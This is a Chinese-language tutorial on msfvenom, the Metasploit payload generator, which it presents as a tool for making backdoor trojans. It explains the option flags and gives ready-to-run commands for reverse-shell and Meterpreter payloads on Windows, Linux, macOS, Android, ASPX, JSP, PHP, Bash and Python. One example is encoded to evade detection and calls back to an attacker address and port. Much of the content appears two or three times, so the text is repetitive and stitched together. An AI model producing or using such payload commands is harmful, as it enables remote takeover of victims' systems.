目录
简介
MSF后门生成模块
Msfvenom常用命令参数
msfvenom生成shellcode
常见生成格式
简介
msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件。
MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。
原理:msfvenom是msfpayload、msfencode的结合体,利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线
使用说明:
-p, --payload 使用指定的payload
-l, --list [module_type] 列出指定模块可用的payloads,包括payloads、encoders、nops、all
-n, --nopsled 为payload指定一个 nopsled 长度
-f, --format 指定输出格式,如exe等
-e, --encoder 使用编码器
-a, --arch 指定payload构架(x86、x64)
--platform 指定payload平台
-s, --space 指定payload攻击荷载的最大长度
-b, --bad-chars 指定规避字符集,如: 'x00xff‘
-i, --iterations 指定编码次数
-c, --add-code 指定一个附加的win32 shellcode 文件
-x, --template 指定一个可执行文件作为模板
-k, --keep payload自动分离并注入到新的进程
-o, --out 保存生成的payload
-v, --var-name 指定自定义变量
-h, --help 显示帮助文件
一、查看msfvenom支持的payload msfvenom --list payload
二、查看msfvenom支持的平台 msfvenom --list platforms
三、查看msfvenom支持的编码格式 msfvenom --list encoders 其他的也是同理
MSF后门生成模块
Msfvenom常用命令参数
- -l, --list
- # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等
- -p, --payload
- # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
- --list-options
- # 列出--payload
的标准,高级和规避选项 - -f, --format
- # 指定 Payload 的输出格式(使用 --list formats 列出)
- -e, --encoder
- # 指定使用的 Encoder (使用 --list encoders 列出)
- --sec-name
- # 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串
- --smallest
- # 使用所有可用的编码器生成最小的payload
- --encrypt
- # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)
- --encrypt-key
- # 用于加密的密钥
- --encrypt-iv
- # 加密的初始化向量
- -a, --arch
- # 指定目标系统架构(使用 --list archs 列出)
- --platform
- # 指定目标系统平台 (使用 --list platforms 列出)
- -o, --out
- # 保存payload文件
- -b, --bad-chars
- # 设置需要在 Payload 中避免出现的字符,如: 'x00xff'
- -n, --nopsled
- # 指定 nop 在 payload 中的数量
- -s, --space
- # 设置未经编码的 Payload 的最大长度
- --encoder-space
- # 编码后的 Payload 的最大长度
- -i, --iterations
- # 设置 Payload 的编码次数
- -c, --add-code
- # 指定包含一个额外的win32 shellcode文件
- -x, --template
- # 指定一个特定的可执行文件作为模板
- -k, --keep
- # 保护模板程序的功能,注入的payload作为一个新的进程运行
- -v, --var-name
- # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
- -t, --timeout
- # 设置从STDIN读取payload的等待时间(默认为30,0为禁用)
- -h, --help
- # 帮助
msfvenom生成shellcode
普通生成
- msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
- msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe
编码生成
- msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件
- msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
msfvenom —list archs #查看支持的系统架构
- aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch
msfvenom —list platforms #查看支持系统平台
- aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows
msfvenom -l payload #列出所有可用的payload
msfvenom -l formats #列出所有的输出格式
msfvenom -l encrypt #列出所有的加密方式
msfvenom -l encoders #列出所有的编码器
常见生成格式
1、 Windows
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
2、Linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf
3、Mac
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
4、Android
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
5、Aspx
msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
6、JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
7、PHP
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
8、BASH
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
9、Python
msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py
- -l, --list
- # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等
- -p, --payload
- # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
- --list-options
- # 列出--payload
的标准,高级和规避选项 - -f, --format
- # 指定 Payload 的输出格式(使用 --list formats 列出)
- -e, --encoder
- # 指定使用的 Encoder (使用 --list encoders 列出)
- --sec-name
- # 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串
- --smallest
- # 使用所有可用的编码器生成最小的payload
- --encrypt
- # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)
- --encrypt-key
- # 用于加密的密钥
- --encrypt-iv
- # 加密的初始化向量
- -a, --arch
- # 指定目标系统架构(使用 --list archs 列出)
- --platform
- # 指定目标系统平台 (使用 --list platforms 列出)
- -o, --out
- # 保存payload文件
- -b, --bad-chars
- # 设置需要在 Payload 中避免出现的字符,如: 'x00xff'
- -n, --nopsled
- # 指定 nop 在 payload 中的数量
- -s, --space
- # 设置未经编码的 Payload 的最大长度
- --encoder-space
- # 编码后的 Payload 的最大长度
- -i, --iterations
- # 设置 Payload 的编码次数
- -c, --add-code
- # 指定包含一个额外的win32 shellcode文件
- -x, --template
- # 指定一个特定的可执行文件作为模板
- -k, --keep
- # 保护模板程序的功能,注入的payload作为一个新的进程运行
- -v, --var-name
- # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
- -t, --timeout
- # 设置从STDIN读取payload的等待时间(默认为30,0为禁用)
- -h, --help
- # 帮助
msfvenom生成shellcode
普通生成
- msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
- msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe
编码生成
- msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件
- msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
msfvenom —list archs #查看支持的系统架构
- aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch
msfvenom —list platforms #查看支持系统平台
- aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows
msfvenom -l payload #列出所有可用的payload
msfvenom -l formats #列出所有的输出格式
msfvenom -l encrypt #列出所有的加密方式
msfvenom -l encoders #列出所有的编码器
常见生成格式
1、 Windows
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
2、Linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf
3、Mac
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
4、Android
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
5、Aspx
msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
6、JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
7、PHP
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
8、BASH
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
9、Python
msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py
普通生成
- msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
- msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe
编码生成
- msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件
- msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
msfvenom —list archs #查看支持的系统架构
- aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch
msfvenom —list platforms #查看支持系统平台
- aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows
msfvenom -l payload #列出所有可用的payload
msfvenom -l formats #列出所有的输出格式
msfvenom -l encrypt #列出所有的加密方式
msfvenom -l encoders #列出所有的编码器
1、 Windows
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
2、Linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf
3、Mac
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
4、Android
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
5、Aspx
msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
6、JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
7、PHP
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
8、BASH
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
9、Python
msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py



